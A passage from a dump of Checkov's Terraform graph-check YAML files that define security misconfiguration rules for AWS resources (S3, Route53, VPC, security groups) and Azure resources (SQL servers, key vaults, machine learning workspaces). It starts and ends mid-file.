"aws_db_parameter_group" attribute: "family" operator: "not_regex_match" value: ".*db2-ae.*" - and: - cond_type: "attribute" resource_types: - "aws_db_parameter_group" attribute: "parameter[?(@.name=='db2comm')].value" operator: "jsonpath_exists" - cond_type: "attribute" resource_types: - "aws_db_parameter_group" attribute: "parameter[?(@.name=='db2comm')].value" operator: "jsonpath_equals" value: "SSL" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/Route53ARecordAttachedResource.yaml ================================================ metadata: name: "Route53 A Record has Attached Resource" id: "CKV2_AWS_23" category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - aws_route53_record operator: within - cond_type: filter resource_types: - aws_route53_record attribute: type operator: within value: "A" - or: - cond_type: attribute attribute: alias.name operator: contains value: "module" resource_types: - aws_route53_record - cond_type: attribute attribute: alias.name operator: contains value: "data." resource_types: - aws_route53_record - cond_type: attribute attribute: alias.name operator: contains value: "var." resource_types: - aws_route53_record - cond_type: connection resource_types: - aws_route53_record connected_resource_types: - aws_instance - aws_eip - aws_elb - aws_lb - aws_alb - aws_route53_record - aws_s3_bucket - aws_api_gateway_domain_name - aws_elastic_beanstalk_environment - aws_vpc_endpoint - aws_globalaccelerator_accelerator - aws_cloudfront_distribution - aws_db_instance - aws_apigatewayv2_domain_name - aws_lightsail_instance - aws_lightsail_static_ip operator: exists attribute: networking ================================================ FILE: checkov/terraform/checks/graph_checks/aws/Route53ZoneEnableDNSSECSigning.yaml ================================================ metadata: name: "Ensure Domain Name System Security Extensions (DNSSEC) signing is enabled for Amazon Route 53 public hosted zones" id: "CKV2_AWS_38" category: "NETWORKING" definition: or: - and: - cond_type: attribute resource_types: - aws_route53_zone attribute: vpc # This indicates a private zone that can't have DNSSEC enabled operator: exists - cond_type: attribute resource_types: - aws_route53_zone attribute: vpc # This indicates a private zone that can't have DNSSEC enabled operator: not_equals value: [] - and: - cond_type: filter attribute: resource_type value: - aws_route53_zone operator: within - cond_type: connection resource_types: - aws_route53_zone connected_resource_types: - aws_route53_hosted_zone_dnssec - aws_route53_key_signing_key - aws_route53_zone_association # This indicates a private zone that can't have DNSSEC enabled operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/Route53ZoneHasMatchingQueryLog.yaml ================================================ metadata: name: "Ensure Domain Name System (DNS) query logging is enabled for Amazon Route 53 hosted zones" id: "CKV2_AWS_39" category: "LOGGING" definition: or: - cond_type: attribute resource_types: - aws_route53_zone attribute: vpc operator: exists - and: - cond_type: filter attribute: resource_type value: - aws_route53_zone operator: within - cond_type: connection resource_types: - aws_route53_zone connected_resource_types: - aws_route53_query_log operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml ================================================ metadata: name: "Ensure all data stored in the S3 bucket is securely encrypted at rest" category: "ENCRYPTION" id: "CKV_AWS_19" definition: or: - cond_type: attribute resource_types: - aws_s3_bucket attribute: server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm operator: within value: - "aws:kms" - "AES256" - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_server_side_encryption_configuration operator: not_exists - cond_type: attribute resource_types: - aws_s3_bucket attribute: server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm operator: not_exists # The default for aws_s3_bucket was changed to be encrypted with SSE-S3 which uses AES256 - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_server_side_encryption_configuration operator: exists - cond_type: attribute resource_types: - aws_s3_bucket_server_side_encryption_configuration attribute: rule.apply_server_side_encryption_by_default.sse_algorithm operator: within value: - "aws:kms" - "AES256" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3BucketEventNotifications.yaml ================================================ metadata: name: "Ensure S3 buckets should have event notifications enabled" category: "LOGGING" id: "CKV2_AWS_62" definition: and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_notification operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml ================================================ metadata: name: "Ensure that S3 bucket has a Public Access block" category: "Networking" id: "CKV2_AWS_6" definition: and: - resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_public_access_block operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - aws_s3_bucket operator: within - cond_type: attribute attribute: block_public_acls value: true operator: equals resource_types: - aws_s3_bucket_public_access_block - cond_type: attribute attribute: block_public_policy value: true operator: equals resource_types: - aws_s3_bucket_public_access_block ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3BucketLifecycle.yaml ================================================ metadata: name: "Ensure that an S3 bucket has a lifecycle configuration" category: "LOGGING" id: "CKV2_AWS_61" definition: or: - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_lifecycle_configuration operator: exists - cond_type: attribute resource_types: - aws_s3_bucket attribute: lifecycle_rule operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3BucketLogging.yaml ================================================ metadata: name: "Ensure the S3 bucket has access logging enabled" category: "LOGGING" id: "CKV_AWS_18" definition: or: - cond_type: attribute resource_types: - aws_s3_bucket attribute: logging operator: exists - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_logging operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml ================================================ metadata: name: "Ensure that S3 bucket has cross-region replication enabled" category: "GENERAL_SECURITY" id: "CKV_AWS_144" definition: or: - cond_type: attribute resource_types: - aws_s3_bucket attribute: replication_configuration.rules.*.status operator: equals value: Enabled - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_replication_configuration operator: exists - cond_type: attribute resource_types: - aws_s3_bucket_replication_configuration attribute: rule.*.status operator: equals value: Enabled ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml ================================================ metadata: name: "Ensure all data stored in the S3 bucket have versioning enabled" category: "BACKUP_AND_RECOVERY" id: "CKV_AWS_21" definition: or: - cond_type: attribute resource_types: - aws_s3_bucket attribute: versioning.enabled operator: equals value: true - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_versioning operator: exists - cond_type: attribute resource_types: - aws_s3_bucket_versioning attribute: versioning_configuration.status operator: equals value: Enabled ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml ================================================ metadata: name: "Ensure that S3 buckets are encrypted with KMS by default" category: "ENCRYPTION" id: "CKV_AWS_145" definition: or: - cond_type: attribute resource_types: - aws_s3_bucket attribute: server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm operator: equals value: "aws:kms" - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_server_side_encryption_configuration operator: exists - cond_type: attribute resource_types: - aws_s3_bucket_server_side_encryption_configuration attribute: rule.apply_server_side_encryption_by_default.sse_algorithm operator: equals value: "aws:kms" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3NotAllowAccessToAllAuthenticatedUsers.yaml ================================================ metadata: id: "CKV2_AWS_43" name: "Ensure S3 Bucket does not allow access to all Authenticated users" category: "IAM" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket_acl" attribute: "access_control_policy.grant.*.grantee.uri" operator: "not_equals" value: "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml ================================================ metadata: name: "S3 Bucket has an ACL defined which allows public READ access." category: "GENERAL_SECURITY" id: "CKV_AWS_20" definition: or: - and: - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: exists - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: not_equals value: public-read - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: not_equals value: public-read-write - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: not_equals value: website - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: not_equals value: authenticated-read - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_acl operator: exists - or: - and: - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: acl operator: exists - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: acl operator: not_equals value: public-read - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: acl operator: not_equals value: public-read-write - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: acl operator: not_equals value: website - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: acl operator: not_equals value: authenticated-read - and: - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy operator: exists - or: - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy.grant operator: not_exists - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy.grant.*.grantee.uri operator: not_equals value: "http://acs.amazonaws.com/groups/global/AllUsers" - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: not_exists - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_acl operator: not_exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml ================================================ metadata: name: "S3 Bucket has an ACL defined which allows public WRITE access." category: "GENERAL_SECURITY" id: "CKV_AWS_57" definition: or: - and: - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: exists - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: not_equals value: public-read-write - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_acl operator: exists - or: - and: - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: acl operator: exists - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: acl operator: not_equals value: public-read-write - and: - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy operator: exists - or: - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy.grant operator: not_exists - or: - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy.grant.*.grantee.uri operator: not_equals value: "http://acs.amazonaws.com/groups/global/AllUsers" - not: - or: - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy.grant.*.permission operator: equals value: "WRITE" - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy.grant.*.permission operator: equals value: "FULL_CONTROL" - cond_type: attribute resource_types: - aws_s3_bucket_acl attribute: access_control_policy.grant.*.permission operator: equals value: "WRITE_ACP" - and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: attribute resource_types: - aws_s3_bucket attribute: acl operator: not_exists - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_acl operator: not_exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/SGAttachedToResource.yaml ================================================ metadata: name: "Ensure that Security Groups are attached to another resource" id: "CKV2_AWS_5" category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - aws_security_group operator: within - resource_types: - aws_security_group connected_resource_types: - aws_alb - aws_apprunner_vpc_connector - aws_appstream_fleet - aws_batch_compute_environment - aws_cloudwatch_event_target - aws_codebuild_project - aws_codestarconnections_host - aws_dax_cluster - aws_db_instance - aws_dms_replication_instance - aws_dms_replication_config - aws_docdb_cluster - aws_docdbelastic_cluster - aws_ec2_client_vpn_endpoint - aws_ec2_client_vpn_network_association - aws_ec2_spot_fleet_request - aws_ecs_service - aws_efs_mount_target - aws_eks_cluster - aws_eks_node_group - aws_elasticache_cluster - aws_elasticache_replication_group - aws_elasticache_serverless_cache - aws_elasticsearch_domain - aws_elb - aws_emr_cluster - aws_emr_studio - aws_glue_dev_endpoint - aws_instance - aws_lambda_function - aws_launch_configuration - aws_launch_template - aws_lb - aws_memorydb_cluster - aws_mq_broker - aws_msk_cluster - aws_mskconnect_connector - aws_mwaa_environment - aws_neptune_cluster - aws_network_interface - aws_opensearch_domain - aws_opensearch_vpc_endpoint - aws_quicksight_vpc_connection - aws_rds_cluster - aws_redshift_cluster - aws_route53_resolver_endpoint - aws_sagemaker_notebook_instance - aws_transfer_server - aws_vpc_endpoint - aws_vpclattice_service_network_vpc_association - aws_fsx_windows_file_system - aws_fsx_ontap_file_system - aws_grafana_workspace - aws_apigatewayv2_vpc_link - aws_fsx_lustre_file_system - aws_imagebuilder_infrastructure_configuration - aws_fsx_openzfs_file_system - aws_fsx_file_cache - aws_redshiftserverless_workgroup - aws_ec2_instance_connect_endpoint - aws_opensearchserverless_vpc_endpoint - aws_verifiedaccess_endpoint - aws_m2_environment - aws_vpclattice_resource_gateway - aws_spot_instance_request - aws_msk_vpc_connection operator: exists attribute: networking cond_type: connection ================================================ FILE: checkov/terraform/checks/graph_checks/aws/SQSEncryptionCMK.yaml ================================================ metadata: id: "CKV2_AWS_73" name: "Ensure AWS SQS uses CMK not AWS default keys for encryption" category: "ENCRYPTION" definition: or: - cond_type: "attribute" resource_types: - "aws_sqs_queue" attribute: "kms_master_key_id" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_sqs_queue" attribute: "kms_master_key_id" operator: "not_equals" value: "alias/aws/sqs" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml ================================================ metadata: id: "CKV2_AWS_68" name: "Ensure SageMaker notebook instance IAM policy is not overly permissive" category: "NETWORKING" definition: and: - cond_type: filter value: - aws_sagemaker_notebook_instance operator: within attribute: resource_type - cond_type: connection resource_types: - aws_sagemaker_notebook_instance connected_resource_types: - aws_iam_role operator: exists - cond_type: attribute resource_types: - aws_iam_role attribute: "policy.Statement[?(@.Effect == Allow)].Action[*]" operator: "jsonpath_not_equals" value: "*" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/SecretsAreRotated.yaml ================================================ metadata: name: "Ensure Secrets Manager secrets should have automatic rotation enabled" category: "GENERAL_SECURITY" id: "CKV2_AWS_57" definition: and: - cond_type: filter attribute: resource_type operator: within value: - aws_secretsmanager_secret - cond_type: connection resource_types: - aws_secretsmanager_secret connected_resource_types: - aws_secretsmanager_secret_rotation operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml ================================================ metadata: id: "CKV2_AWS_1" name: "Ensure that all NACL are attached to subnets" category: "NETWORKING" definition: and: - or: - and: - resource_types: - aws_network_acl connected_resource_types: - aws_vpc operator: exists attribute: networking cond_type: connection - resource_types: - aws_subnet connected_resource_types: - aws_vpc operator: exists attribute: networking cond_type: connection - cond_type: filter attribute: resource_type value: - aws_vpc operator: within - and : - resource_types: - aws_network_acl connected_resource_types: - aws_subnet operator: exists attribute: networking cond_type: connection - cond_type: attribute resource_types: - aws_network_acl attribute: subnet_ids operator: exists - cond_type: filter attribute: resource_type value: - aws_network_acl operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/VPCHasFlowLog.yaml ================================================ metadata: name: "Ensure VPC flow logging is enabled in all VPCs" category: "LOGGING" id: "CKV2_AWS_11" definition: and: - resource_types: - aws_vpc connected_resource_types: - aws_flow_log operator: exists attribute: networking cond_type: connection - cond_type: filter attribute: resource_type value: - aws_vpc operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml ================================================ metadata: name: "Ensure the default security group of every VPC restricts all traffic" id: "CKV2_AWS_12" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - aws_vpc operator: within - cond_type: "connection" resource_types: - "aws_vpc" connected_resource_types: - "aws_default_security_group" operator: "exists" - cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.to_port" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.from_port" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.self" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "egress.to_port" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "egress.from_port" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "egress.cidr_blocks" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "egress.protocol" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.protocol" operator: "not_exists" - cond_type: "connection" resource_types: - "aws_default_security_group" connected_resource_types: - "aws_security_group_rule" operator: "not_exists" - cond_type: "connection" resource_types: - "aws_default_security_group" connected_resource_types: - "aws_vpc_security_group_egress_rule" operator: "not_exists" - cond_type: "connection" resource_types: - "aws_default_security_group" connected_resource_types: - "aws_vpc_security_group_ingress_rule" operator: "not_exists" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml ================================================ metadata: id: "CKV2_AWS_44" name: "Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "aws_route_table" attribute: "route.*.vpc_peering_connection_id" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_route_table" attribute: "route.*.vpc_peering_connection_id" operator: "equals" value: "" - and: - cond_type: "attribute" resource_types: - "aws_route_table" attribute: "route.*.cidr_block" operator: "not_contains" value: "0.0.0.0/0" - cond_type: "attribute" resource_types: - "aws_route_table" attribute: "route.*.ipv6_cidr_block" operator: "not_contains" value: "::/0" - cond_type: "attribute" resource_types: - "aws_route" attribute: "vpc_peering_connection_id" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_route" attribute: "vpc_peering_connection_id" operator: "equals" value: "" - and: - cond_type: "attribute" resource_types: - "aws_route" attribute: "destination_cidr_block" operator: "not_contains" value: "0.0.0.0/0" - cond_type: "attribute" resource_types: - "aws_route" attribute: "destination_ipv6_cidr_block" operator: "not_contains" value: "::/0" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/WAF2HasLogs.yaml ================================================ metadata: id: "CKV2_AWS_31" name: "Ensure WAF2 has a Logging Configuration" category: "LOGGING" definition: and: - cond_type: filter value: - aws_wafv2_web_acl operator: within attribute: resource_type - or: - cond_type: connection operator: exists resource_types: - aws_wafv2_web_acl connected_resource_types: - aws_wafv2_web_acl_logging_configuration ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml ================================================ metadata: id: "CKV2_AZURE_6" name: "Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled" category: "GENERAL_SECURITY" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_sql_server operator: within - or: - resource_types: - azurerm_sql_server connected_resource_types: - azurerm_sql_firewall_rule operator: not_exists cond_type: connection - and: - resource_types: - azurerm_sql_server connected_resource_types: - azurerm_sql_firewall_rule operator: exists cond_type: connection - cond_type: attribute resource_types: - azurerm_sql_firewall_rule attribute: start_ip_address value: "0.0.0.0" operator: not_equals - cond_type: attribute resource_types: - azurerm_sql_firewall_rule attribute: end_ip_address value: "0.0.0.0" operator: not_equals ================================================ FILE: checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml ================================================ metadata: id: "CKV_AZURE_120" name: "Ensure that Application Gateway enables WAF" category: "APPLICATION_SECURITY" definition: and: - cond_type: filter value: - azurerm_application_gateway operator: within attribute: resource_type - or: - cond_type: attribute attribute: waf_configuration.enabled operator: equals value: true resource_types: - azurerm_application_gateway - or: - and: - cond_type: connection resource_types: - azurerm_application_gateway connected_resource_types: - azurerm_web_application_firewall_policy operator: exists - cond_type: attribute attribute: policy_settings.enabled operator: equals value: true resource_types: - azurerm_web_application_firewall_policy ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureACR_HTTPSwebhook.yaml ================================================ metadata: id: "CKV2_AZURE_30" name: "Ensure Azure Container Registry (ACR) has HTTPS enabled for webhook" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: "azurerm_container_registry_webhook" attribute: "service_uri" operator: "starting_with" value: "https://" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureAKSclusterAzureCNIEnabled.yaml ================================================ metadata: id: "CKV2_AZURE_29" name: "Ensure AKS cluster has Azure CNI networking enabled" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: "azurerm_kubernetes_cluster" attribute: "network_profile.network_plugin" operator: "within" value: - "azure" - "Azure" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureActiveDirectoryAdminIsConfigured.yaml ================================================ metadata: id: "CKV2_AZURE_7" name: "Ensure that Azure Active Directory Admin is configured" category: "GENERAL_SECURITY" definition: and: - resource_types: - azurerm_sql_server connected_resource_types: - azurerm_sql_active_directory_administrator operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - azurerm_sql_server operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml ================================================ metadata: id: "CKV2_AZURE_10" name: "Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines" category: "GENERAL_SECURITY" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_virtual_machine operator: within - cond_type: connection operator: one_exists resource_types: - azurerm_virtual_machine connected_resource_types: - azurerm_virtual_machine_extension - cond_type: attribute attribute: type value: "IaaSAntimalware" operator: equals resource_types: - azurerm_virtual_machine_extension - cond_type: attribute attribute: publisher value: "Microsoft.Azure.Security" operator: equals resource_types: - azurerm_virtual_machine_extension - cond_type: attribute attribute: auto_upgrade_minor_version value: true operator: equals resource_types: - azurerm_virtual_machine_extension ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureAutomationAccConfigManagedIdentity.yaml ================================================ metadata: id: "CKV2_AZURE_36" name: "Ensure Azure automation account is configured with managed identity" category: "IAM" definition: and: - cond_type: "attribute" resource_types: "azurerm_automation_account" attribute: "identity.type" operator: "exists" - cond_type: "attribute" resource_types: "azurerm_automation_account" attribute: "identity.type" operator: "number_of_words_not_equals" value: "0" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureAutomationAccNotOverlyPermissiveNetAccess.yaml ================================================ metadata: id: "CKV2_AZURE_24" name: "Ensure Azure automation account does NOT have overly permissive network access" category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: "azurerm_automation_account" attribute: "public_network_access_enabled" operator: "equals" value: "false" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureConfigMSSQLwithAD.yaml ================================================ metadata: id: CKV2_AZURE_27 name: "Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)" category: "GENERAL_SECURITY" definition: and: - cond_type: attribute resource_types: azurerm_mssql_server attribute: azuread_administrator operator: "exists" - cond_type: attribute resource_types: azurerm_mssql_server attribute: azuread_administrator.login_username operator: "number_of_words_not_equals" value: 0 # Checking for condition "number_of_words_not_equals=0" instead of "is_not_empty" because # even whitespaces were getting considered in terraform YAML file ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureContainerInstanceconfigManagedIdentity.yaml ================================================ metadata: id: "CKV2_AZURE_28" name: "Ensure Container Instance is configured with managed identity" category: "GENERAL_SECURITY" definition: and: - cond_type: attribute resource_types: azurerm_container_group attribute: identity.type operator: "exists" - cond_type: "attribute" resource_types: azurerm_container_group attribute: identity.type operator: "number_of_words_not_equals" value: 0 ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml ================================================ metadata: id: "CKV2_AZURE_15" name: "Ensure that Azure data factories are encrypted with a customer-managed key" category: "ENCRYPTION" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_data_factory operator: within - cond_type: connection operator: exists resource_types: - azurerm_data_factory connected_resource_types: - azurerm_data_factory_linked_service_key_vault ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureKeyVaultConfigPrivateEndpoint.yaml ================================================ metadata: id: "CKV2_AZURE_32" name: "Ensure private endpoint is configured to key vault" category: "GENERAL_SECURITY" definition: and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_key_vault" - cond_type: "connection" resource_types: - "azurerm_key_vault" connected_resource_types: - "azurerm_private_endpoint" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml ================================================ metadata: id: "CKV2_AZURE_50" name: "Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible" category: "NETWORKING" definition: or: - cond_type: filter attribute: resource_type operator: within value: - azurerm_machine_learning_workspace - cond_type: attribute resource_types: azurerm_machine_learning_workspace attribute: high_business_impact operator: equals value: false - and: - cond_type: filter attribute: resource_type operator: within value: - azurerm_machine_learning_workspace - cond_type: connection resource_types: - azurerm_machine_learning_workspace connected_resource_types: - azurerm_storage_account operator: exists - cond_type: attribute resource_types: azurerm_storage_account attribute: public_network_access_enabled operator: equals value: false ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureMLWorkspacePublicNetwork.yaml ================================================ metadata: id: "CKV2_AZURE_49" name: "Ensure that Azure Machine learning workspace is not configured with overly permissive network access" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: "azurerm_machine_learning_workspace" attribute: "public_network_access_enabled" operator: "not_exists" - cond_type: "attribute" resource_types: "azurerm_machine_learning_workspace" attribute: "public_network_access_enabled" operator: "equals" value: "false" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml ================================================ metadata: id: "CKV2_AZURE_13" name: "Ensure that sql servers enables data security policy" category: "GENERAL_SECURITY" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_sql_server operator: within - or: - resource_types: - azurerm_sql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: not_exists cond_type: connection - and: - resource_types: - azurerm_sql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: exists cond_type: connection - resource_types: - azurerm_mssql_server_security_alert_policy operator: equals cond_type: attribute attribute: state value: "Enabled" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureMSSQLserverConfigPrivEndpt.yaml ================================================ metadata: id: "CKV2_AZURE_45" name: "Ensure Microsoft SQL server is configured with private endpoint" category: "GENERAL_SECURITY" definition: and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_mssql_server" - cond_type: "connection" resource_types: - "azurerm_mssql_server" connected_resource_types: - "azurerm_private_endpoint" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverConfigPrivEndpt.yaml ================================================ metadata: id: "CKV2_AZURE_43" name: "Ensure Azure MariaDB server is configured with private endpoint" category: "GENERAL_SECURITY" definition: and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_mariadb_server" - cond_type: "connection" resource_types: - "azurerm_mariadb_server" connected_resource_types: - "azurerm_private_endpoint" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverUsingTLS_1_2.yaml ================================================ metadata: id: "CKV2_AZURE_37" name: "Ensure Azure MariaDB server is using latest TLS (1.2)" category: "ENCRYPTION" definition: and: - cond_type: "attribute" resource_types: "azurerm_mariadb_server" attribute: "ssl_enforcement_enabled" operator: "exists" - cond_type: "attribute" resource_types: "azurerm_mariadb_server" attribute: "ssl_enforcement_enabled" operator: "equals_ignore_case" value: "true" - or: - cond_type: "attribute" resource_types: "azurerm_mariadb_server" attribute: "ssl_minimal_tls_version_enforced" operator: "equals_ignore_case" value: "TLS1_2" - cond_type: "attribute" resource_types: "azurerm_mariadb_server" attribute: "ssl_minimal_tls_version_enforced" operator: "not_exists" # If ssl_minimal_tls_version_enforced does not exist, it defaults to TLS 1.2 # Refer docs for more info: # https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/mariadb_server#ssl_minimal_tls_version_enforced ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureMySQLFlexibleServerConfigPrivEndpt.yaml ================================================ metadata: id: "CKV2_AZURE_56" name: "Ensure Azure MySQL Flexible Server is configured with private endpoint" category: "NETWORKING" definition: and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_mysql_flexible_server" - cond_type: "connection" resource_types: - "azurerm_mysql_flexible_server" connected_resource_types: - "azurerm_private_endpoint" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureMySQLserverConfigPrivEndpt.yaml ================================================ metadata: id: "CKV2_AZURE_44" name: "Ensure Azure MySQL server is configured with private endpoint" category: "GENERAL_SECURITY" definition: and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_mysql_server" - cond_type: "connection" resource_types: - "azurerm_mysql_server" connected_resource_types: - "azurerm_private_endpoint" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureNetworkInterfacePublicIPAddressId.yaml ================================================ metadata: id: "CKV_AZURE_119" name: "Ensure that Network Interfaces don't use public IPs" category: "NETWORKING" definition: and: - cond_type: connection operator: not_exists resource_types: - azurerm_network_interface connected_resource_types: - azurerm_public_ip - cond_type: filter attribute: resource_type value: - 